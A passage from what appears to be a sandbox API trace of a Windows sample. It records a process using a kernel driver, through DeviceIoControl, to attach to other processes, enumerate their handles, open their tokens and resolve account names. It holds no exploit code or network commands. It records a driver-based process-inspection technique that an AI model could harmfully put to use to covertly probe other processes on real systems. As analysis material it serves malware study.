(ApcState=0xfffff880054735d0) [0137.977] PsReleaseProcessExitSynchronization () returned 0x2 [0137.977] ObfDereferenceObject (Object=0xfffffa800391c060) returned 0x34 [0137.977] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.977] ObfDereferenceObject (Object=0xfffffa8002c06c30) returned 0x1 [0137.977] IofCompleteRequest (Irp=0xfffffa800cfde010, PriorityBoost=0) [0137.977] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.977] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.977] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0137.977] PsLookupProcessByProcessId (in: ProcessId=0xc78, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.977] PsAcquireProcessExitSynchronization () returned 0x0 [0137.978] KeStackAttachProcess (in: PROCESS=0xfffffa800391c060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800391c060, ApcState=0xfffff880054735d0) [0137.978] ObReferenceObjectByHandle (in: Handle=0xdc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0137.978] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.978] PsReleaseProcessExitSynchronization () returned 0x2 [0137.978] ObfDereferenceObject (Object=0xfffffa800391c060) returned 0x34 [0137.978] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.978] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0137.978] IofCompleteRequest (Irp=0xfffffa800cfde010, PriorityBoost=0) [0137.978] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.978] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.978] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0137.978] PsLookupProcessByProcessId (in: ProcessId=0xc78, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.978] PsAcquireProcessExitSynchronization () returned 0x0 [0137.978] KeStackAttachProcess (in: PROCESS=0xfffffa800391c060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800391c060, ApcState=0xfffff880054735d0) [0137.978] ObReferenceObjectByHandle (in: Handle=0xe8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0137.978] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.978] PsReleaseProcessExitSynchronization () returned 0x2 [0137.978] ObfDereferenceObject (Object=0xfffffa800391c060) returned 0x34 [0137.978] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.978] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0137.978] IofCompleteRequest (Irp=0xfffffa800cfde010, PriorityBoost=0) [0137.978] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.978] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8dc) returned 0xc0 [0137.978] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.978] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa800394e060, HandleInformation=0x0) returned 0x0 [0137.978] ObOpenObjectByPointer (in: Object=0xfffffa800394e060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000af8) returned 0x0 [0137.978] ObfDereferenceObject (Object=0xfffffa800394e060) returned 0x10 [0137.978] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000af8, DesiredAccess=0x8, TokenHandle=0xfffffa800248d940 | out: TokenHandle=0xfffffa800248d940*=0xc8) returned 0x0 [0137.978] ZwClose (Handle=0xffffffff80000af8) returned 0x0 [0137.978] IofCompleteRequest (Irp=0xfffffa800cfde010, PriorityBoost=0) [0137.978] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.979] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.980] CloseHandle (hObject=0xc8) returned 1 [0137.980] CloseHandle (hObject=0xc0) returned 1 [0137.980] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.980] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.980] PsLookupProcessByProcessId (in: ProcessId=0x8dc, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.980] PsAcquireProcessExitSynchronization () returned 0x0 [0137.980] KeStackAttachProcess (in: PROCESS=0xfffffa800394e060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800394e060, ApcState=0xfffff880054735d0) [0137.980] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f04c00, HandleInformation=0x0) returned 0x0 [0137.980] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.980] PsReleaseProcessExitSynchronization () returned 0x2 [0137.980] ObfDereferenceObject (Object=0xfffffa800394e060) returned 0xe [0137.980] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.980] ObfDereferenceObject (Object=0xfffffa8002f04c00) returned 0x1 [0137.980] IofCompleteRequest (Irp=0xfffffa800cfde010, PriorityBoost=0) [0137.980] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.980] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.980] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0137.980] PsLookupProcessByProcessId (in: ProcessId=0x8dc, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.980] PsAcquireProcessExitSynchronization () returned 0x0 [0137.980] KeStackAttachProcess (in: PROCESS=0xfffffa800394e060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800394e060, ApcState=0xfffff880054735d0) [0137.980] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002b66340, HandleInformation=0x0) returned 0x0 [0137.980] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.980] PsReleaseProcessExitSynchronization () returned 0x2 [0137.980] ObfDereferenceObject (Object=0xfffffa800394e060) returned 0xe [0137.980] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.981] ObfDereferenceObject (Object=0xfffffa8002b66340) returned 0x1 [0137.981] IofCompleteRequest (Irp=0xfffffa800cfde010, PriorityBoost=0) [0137.981] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.981] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.981] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0137.981] PsLookupProcessByProcessId (in: ProcessId=0x8dc, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.981] PsAcquireProcessExitSynchronization () returned 0x0 [0137.981] KeStackAttachProcess (in: PROCESS=0xfffffa800394e060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800394e060, ApcState=0xfffff880054735d0) [0137.981] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003866740, HandleInformation=0x0) returned 0x0 [0137.981] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.981] PsReleaseProcessExitSynchronization () returned 0x2 [0137.981] ObfDereferenceObject (Object=0xfffffa800394e060) returned 0xe [0137.981] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.981] ObfDereferenceObject (Object=0xfffffa8003866740) returned 0x3 [0137.981] IofCompleteRequest (Irp=0xfffffa800cfde010, PriorityBoost=0) [0137.981] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.981] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x594) returned 0xc0 [0137.981] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.981] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa80038c9060, HandleInformation=0x0) returned 0x0 [0137.981] ObOpenObjectByPointer (in: Object=0xfffffa80038c9060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000af8) returned 0x0 [0137.981] ObfDereferenceObject (Object=0xfffffa80038c9060) returned 0x1c [0137.981] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000af8, DesiredAccess=0x8, TokenHandle=0xfffffa800248d940 | out: TokenHandle=0xfffffa800248d940*=0xc8) returned 0x0 [0137.981] ZwClose (Handle=0xffffffff80000af8) returned 0x0 [0137.981] IofCompleteRequest (Irp=0xfffffa800cfde010, PriorityBoost=0) [0137.981] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.981] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.983] CloseHandle (hObject=0xc8) returned 1 [0137.983] CloseHandle (hObject=0xc0) returned 1 [0137.983] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.983] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.983] PsLookupProcessByProcessId (in: ProcessId=0x594, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.983] PsAcquireProcessExitSynchronization () returned 0x0 [0137.983] KeStackAttachProcess (in: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880054735d0) [0137.983] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002346f20, HandleInformation=0x0) returned 0x0 [0137.983] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.983] PsReleaseProcessExitSynchronization () returned 0x2 [0137.983] ObfDereferenceObject (Object=0xfffffa80038c9060) returned 0x1a [0137.983] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.984] ObfDereferenceObject (Object=0xfffffa8002346f20) returned 0x1 [0137.984] IofCompleteRequest (Irp=0xfffffa800cfde010, PriorityBoost=0) [0137.984] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.984] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.984] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0137.984] PsLookupProcessByProcessId (in: ProcessId=0x594, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.984] PsAcquireProcessExitSynchronization () returned 0x0 [0137.984] KeStackAttachProcess (in: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880054735d0) [0137.984] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002086070, HandleInformation=0x0) returned 0x0 [0137.984] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.984] PsReleaseProcessExitSynchronization () returned 0x2 [0137.984] ObfDereferenceObject (Object=0xfffffa80038c9060) returned 0x1a [0137.984] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.984] ObfDereferenceObject (Object=0xfffffa8002086070) returned 0x1 [0137.984] IofCompleteRequest (Irp=0xfffffa800cfde010, PriorityBoost=0) [0137.984] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.984] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.984] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x110, lpOverlapped=0x0) returned 1 [0137.984] PsLookupProcessByProcessId (in: ProcessId=0x594, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.984] PsAcquireProcessExitSynchronization () returned 0x0 [0137.984] KeStackAttachProcess (in: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880054735d0) [0137.984] ObReferenceObjectByHandle (in: Handle=0x2c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80021a18d0, HandleInformation=0x0) returned 0x0 [0137.984] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.984] PsReleaseProcessExitSynchronization () returned 0x2 [0137.984] ObfDereferenceObject (Object=0xfffffa80038c9060) returned 0x1a [0137.984] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.984] ObfDereferenceObject (Object=0xfffffa80021a18d0) returned 0x1 [0137.984] IofCompleteRequest (Irp=0xfffffa800cfde010, PriorityBoost=0) [0137.984] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.984] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.984] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0137.984] PsLookupProcessByProcessId (in: ProcessId=0x594, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.984] PsAcquireProcessExitSynchronization () returned 0x0 [0137.984] KeStackAttachProcess (in: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880054735d0) [0137.985] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003866740, HandleInformation=0x0) returned 0x0 [0137.985] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.985] PsReleaseProcessExitSynchronization () returned 0x2 [0137.985] ObfDereferenceObject (Object=0xfffffa80038c9060) returned 0x1a [0137.985] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.985] ObfDereferenceObject (Object=0xfffffa8003866740) returned 0x3 [0137.985] IofCompleteRequest (Irp=0xfffffa800cfde010, PriorityBoost=0) [0137.985] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.985] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xc58) returned 0xc0 [0137.985] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.985] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa80039a2060, HandleInformation=0x0) returned 0x0 [0137.985] ObOpenObjectByPointer (in: Object=0xfffffa80039a2060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000af8) returned 0x0 [0137.985] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x25 [0137.985] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000af8, DesiredAccess=0x8, TokenHandle=0xfffffa800248d940 | out: TokenHandle=0xfffffa800248d940*=0xc8) returned 0x0 [0137.985] ZwClose (Handle=0xffffffff80000af8) returned 0x0 [0137.985] IofCompleteRequest (Irp=0xfffffa800cfde010, PriorityBoost=0) [0137.985] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.985] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.986] CloseHandle (hObject=0xc8) returned 1 [0137.986] CloseHandle (hObject=0xc0) returned 1 [0137.986] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.986] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0137.987] PsLookupProcessByProcessId (in: ProcessId=0xc58, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.987] PsAcquireProcessExitSynchronization () returned 0x0 [0137.987] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880054735d0) [0137.987] ObReferenceObjectByHandle (in: Handle=0x4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003866740, HandleInformation=0x0) returned 0x0 [0137.987] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.987] PsReleaseProcessExitSynchronization () returned 0x2 [0137.987] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x23 [0137.987] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.987] ObfDereferenceObject (Object=0xfffffa8003866740) returned 0x3 [0137.987] IofCompleteRequest (Irp=0xfffffa800cfde010, PriorityBoost=0) [0137.987] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.987] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.987] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0137.987] PsLookupProcessByProcessId (in: ProcessId=0xc58, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.987] PsAcquireProcessExitSynchronization () returned 0x0 [0137.987] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880054735d0) [0137.987] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002669a10, HandleInformation=0x0) returned 0x0 [0137.987] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.987] PsReleaseProcessExitSynchronization () returned 0x2 [0137.987] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x23 [0137.987] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.987] ObfDereferenceObject (Object=0xfffffa8002669a10) returned 0x1 [0137.987] IofCompleteRequest (Irp=0xfffffa800cfde010, PriorityBoost=0) [0137.987] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.987] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.987] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x114, lpOverlapped=0x0) returned 1 [0137.987] PsLookupProcessByProcessId (in: ProcessId=0xc58, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.987] PsAcquireProcessExitSynchronization () returned 0x0 